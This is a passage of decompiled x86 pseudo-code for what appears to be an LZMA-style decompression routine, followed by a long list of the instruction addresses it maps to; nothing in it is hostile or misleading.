                                                                                    														 *__esi = __dx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														L111:
                                                                                    														_t368 = __ebp - 0x48;
                                                                                    														 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                    														__eflags =  *_t368;
                                                                                    														goto L112;
                                                                                    													} else {
                                                                                    														L117:
                                                                                    														goto L109;
                                                                                    													}
                                                                                    												}
                                                                                    												L103:
                                                                                    												__ecx =  *(__ebp - 0xc);
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    													__ecx =  *(__ebp - 0x10);
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    													__ebx = __ebx | 0x00000001;
                                                                                    													__eflags = __ebx;
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													L101:
                                                                                    													_t338 = __ebp - 0x48;
                                                                                    													 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                    													__eflags =  *_t338;
                                                                                    													goto L102;
                                                                                    												} else {
                                                                                    													L106:
                                                                                    													goto L99;
                                                                                    												}
                                                                                    											}
                                                                                    											L96:
                                                                                    											__edx =  *(__ebp - 4);
                                                                                    											__eax = __eax - __ebx;
                                                                                    											 *(__ebp - 0x40) = __ecx;
                                                                                    											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    											goto L108;
                                                                                    										case 0x1a:
                                                                                    											L56:
                                                                                    											__eflags =  *(__ebp - 0x64);
                                                                                    											if( *(__ebp - 0x64) == 0) {
                                                                                    												L162:
                                                                                    												 *(__ebp - 0x88) = 0x1a;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L57:
                                                                                    											__ecx =  *(__ebp - 0x68);
                                                                                    											__al =  *(__ebp - 0x5c);
                                                                                    											__edx =  *(__ebp - 8);
                                                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    											 *( *(__ebp - 0x68)) = __al;
                                                                                    											__ecx =  *(__ebp - 0x14);
                                                                                    											 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    											__eax = __ecx + 1;
                                                                                    											__edx = 0;
                                                                                    											_t192 = __eax %  *(__ebp - 0x74);
                                                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                                                    											__edx = _t192;
                                                                                    											goto L80;
                                                                                    										case 0x1b:
                                                                                    											L76:
                                                                                    											__eflags =  *(__ebp - 0x64);
                                                                                    											if( *(__ebp - 0x64) == 0) {
                                                                                    												L163:
                                                                                    												 *(__ebp - 0x88) = 0x1b;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L77:
                                                                                    											__eax =  *(__ebp - 0x14);
                                                                                    											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    											__eflags = __eax -  *(__ebp - 0x74);
                                                                                    											if(__eax >=  *(__ebp - 0x74)) {
                                                                                    												__eax = __eax +  *(__ebp - 0x74);
                                                                                    												__eflags = __eax;
                                                                                    											}
                                                                                    											__edx =  *(__ebp - 8);
                                                                                    											__cl =  *(__eax + __edx);
                                                                                    											__eax =  *(__ebp - 0x14);
                                                                                    											 *(__ebp - 0x5c) = __cl;
                                                                                    											 *(__eax + __edx) = __cl;
                                                                                    											__eax = __eax + 1;
                                                                                    											__edx = 0;
                                                                                    											_t275 = __eax %  *(__ebp - 0x74);
                                                                                    											__eax = __eax /  *(__ebp - 0x74);
                                                                                    											__edx = _t275;
                                                                                    											__eax =  *(__ebp - 0x68);
                                                                                    											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    											_t284 = __ebp - 0x64;
                                                                                    											 *_t284 =  *(__ebp - 0x64) - 1;
                                                                                    											__eflags =  *_t284;
                                                                                    											 *( *(__ebp - 0x68)) = __cl;
                                                                                    											L80:
                                                                                    											 *(__ebp - 0x14) = __edx;
                                                                                    											goto L81;
                                                                                    										case 0x1c:
                                                                                    											while(1) {
                                                                                    												L123:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													break;
                                                                                    												}
                                                                                    												L124:
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												__cl =  *(__eax + __edx);
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												 *(__ebp - 0x5c) = __cl;
                                                                                    												 *(__eax + __edx) = __cl;
                                                                                    												__eax = __eax + 1;
                                                                                    												__edx = 0;
                                                                                    												_t414 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t414;
                                                                                    												__eax =  *(__ebp - 0x68);
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    												__eflags =  *(__ebp - 0x30);
                                                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                                                    												 *(__ebp - 0x14) = _t414;
                                                                                    												if( *(__ebp - 0x30) > 0) {
                                                                                    													continue;
                                                                                    												} else {
                                                                                    													L127:
                                                                                    													L81:
                                                                                    													 *(__ebp - 0x88) = 2;
                                                                                    													goto L1;
                                                                                    												}
                                                                                    											}
                                                                                    											L167:
                                                                                    											 *(__ebp - 0x88) = 0x1c;
                                                                                    											goto L170;
                                                                                    									}
                                                                                    								}
                                                                                    								L171:
                                                                                    								_t539 = _t538 | 0xffffffff;
                                                                                    								goto L172;
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    				}
                                                                                    			}















                                                                                    0x00406d5a
                                                                                    0x00406d5a
                                                                                    0x00406d5a
                                                                                    0x00406d5a
                                                                                    0x00406d60
                                                                                    0x00406d64
                                                                                    0x00406d68
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x0040708d
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407093
                                                                                    0x0040709c
                                                                                    0x004070a2
                                                                                    0x004070a5
                                                                                    0x004070a8
                                                                                    0x004070ab
                                                                                    0x004070ae
                                                                                    0x004070b4
                                                                                    0x004070cd
                                                                                    0x004070d0
                                                                                    0x004070dc
                                                                                    0x004070dd
                                                                                    0x004070e0
                                                                                    0x004070b6
                                                                                    0x004070b6
                                                                                    0x004070c5
                                                                                    0x004070c8
                                                                                    0x004070c8
                                                                                    0x004070ea
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708a
                                                                                    0x0040708d
                                                                                    0x00407091
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004070ec
                                                                                    0x004070ec
                                                                                    0x00407065
                                                                                    0x00407069
                                                                                    0x004071a1
                                                                                    0x004071a1
                                                                                    0x004071ab
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x004071c7
                                                                                    0x0040706f
                                                                                    0x00407075
                                                                                    0x0040707c
                                                                                    0x00407084
                                                                                    0x00407084
                                                                                    0x00407087
                                                                                    0x00000000
                                                                                    0x00407087
                                                                                    0x004070f1
                                                                                    0x004070fe
                                                                                    0x00407101
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067bf
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067c9
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406824
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x0040686e
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x00406898
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068de
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x00407195
                                                                                    0x00000000
                                                                                    0x00407195
                                                                                    0x00406fec
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00000000
                                                                                    0x004069b2
                                                                                    0x0040692c
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be6
                                                                                    0x00406be6
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf3
                                                                                    0x00406bf6
                                                                                    0x00406bf9
                                                                                    0x00406bfc
                                                                                    0x00406bff
                                                                                    0x00406c01
                                                                                    0x00406c08
                                                                                    0x00406c09
                                                                                    0x00406c0b
                                                                                    0x00406c0e
                                                                                    0x00406c11
                                                                                    0x00406c14
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406c19
                                                                                    0x00406bca
                                                                                    0x00406bca
                                                                                    0x00406bcd
                                                                                    0x00406bd0
                                                                                    0x00406bda
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00000000
                                                                                    0x00406cfd
                                                                                    0x00406ce8
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c1c
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f61
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00407063
                                                                                    0x0040701e
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00407013
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00407063
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d88
                                                                                    0x00406d88
                                                                                    0x00406d8b
                                                                                    0x00406dc1
                                                                                    0x00406dc1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef1
                                                                                    0x00406ef4
                                                                                    0x00406ef4
                                                                                    0x00406ef7
                                                                                    0x00406ef9
                                                                                    0x00407183
                                                                                    0x00407183
                                                                                    0x00000000
                                                                                    0x00407183
                                                                                    0x00406eff
                                                                                    0x00406eff
                                                                                    0x00406f02
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f08
                                                                                    0x00406f08
                                                                                    0x00406f0c
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00406f0f
                                                                                    0x00000000
                                                                                    0x00406f0f
                                                                                    0x00406d8d
                                                                                    0x00406d8d
                                                                                    0x00406d8f
                                                                                    0x00406d91
                                                                                    0x00406d93
                                                                                    0x00406d96
                                                                                    0x00406d97
                                                                                    0x00406d99
                                                                                    0x00406d9b
                                                                                    0x00406d9e
                                                                                    0x00406da1
                                                                                    0x00406db7
                                                                                    0x00406db7
                                                                                    0x00406dbc
                                                                                    0x00406df4
                                                                                    0x00406df4
                                                                                    0x00406df8
                                                                                    0x00406e21
                                                                                    0x00406e24
                                                                                    0x00406e26
                                                                                    0x00406e2d
                                                                                    0x00406e30
                                                                                    0x00406e33
                                                                                    0x00406e33
                                                                                    0x00406e38
                                                                                    0x00406e38
                                                                                    0x00406e3a
                                                                                    0x00406e3d
                                                                                    0x00406e44
                                                                                    0x00406e47
                                                                                    0x00406e74
                                                                                    0x00406e74
                                                                                    0x00406e77
                                                                                    0x00406e7a
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00406eee
                                                                                    0x00000000
                                                                                    0x00406eee
                                                                                    0x00406e7c
                                                                                    0x00406e7c
                                                                                    0x00406e82
                                                                                    0x00406e85
                                                                                    0x00406e88
                                                                                    0x00406e8b
                                                                                    0x00406e8e
                                                                                    0x00406e91
                                                                                    0x00406e94
                                                                                    0x00406e97
                                                                                    0x00406e9a
                                                                                    0x00406e9d
                                                                                    0x00406eb6
                                                                                    0x00406eb8
                                                                                    0x00406ebb
                                                                                    0x00406ebc
                                                                                    0x00406ebf
                                                                                    0x00406ec1
                                                                                    0x00406ec4
                                                                                    0x00406ec6
                                                                                    0x00406ec8
                                                                                    0x00406ecb
                                                                                    0x00406ecd
                                                                                    0x00406ed0
                                                                                    0x00406ed4
                                                                                    0x00406ed6
                                                                                    0x00406ed6
                                                                                    0x00406ed7
                                                                                    0x00406eda
                                                                                    0x00406edd
                                                                                    0x00406e9f
                                                                                    0x00406e9f
                                                                                    0x00406ea7
                                                                                    0x00406eac
                                                                                    0x00406eae
                                                                                    0x00406eb1
                                                                                    0x00406eb1
                                                                                    0x00406ee0
                                                                                    0x00406ee7
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00406e71
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee9
                                                                                    0x00000000
                                                                                    0x00406ee9
                                                                                    0x00406ee7
                                                                                    0x00406dfa
                                                                                    0x00406dfa
                                                                                    0x00406dfd
                                                                                    0x00406dff
                                                                                    0x00406e02
                                                                                    0x00406e05
                                                                                    0x00406e08
                                                                                    0x00406e0a
                                                                                    0x00406e0d
                                                                                    0x00406e10
                                                                                    0x00406e10
                                                                                    0x00406e13
                                                                                    0x00406e13
                                                                                    0x00406e16
                                                                                    0x00406e1d
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00406df1
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1f
                                                                                    0x00000000
                                                                                    0x00406e1f
                                                                                    0x00406e1d
                                                                                    0x00406da3
                                                                                    0x00406da3
                                                                                    0x00406da6
                                                                                    0x00406da8
                                                                                    0x00406dab
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b0a
                                                                                    0x00406b0a
                                                                                    0x00406b0e
                                                                                    0x00407153
                                                                                    0x00407153
                                                                                    0x00000000
                                                                                    0x00407153
                                                                                    0x00406b14
                                                                                    0x00406b14
                                                                                    0x00406b17
                                                                                    0x00406b1a
                                                                                    0x00406b1d
                                                                                    0x00406b20
                                                                                    0x00406b23
                                                                                    0x00406b26
                                                                                    0x00406b28
                                                                                    0x00406b2b
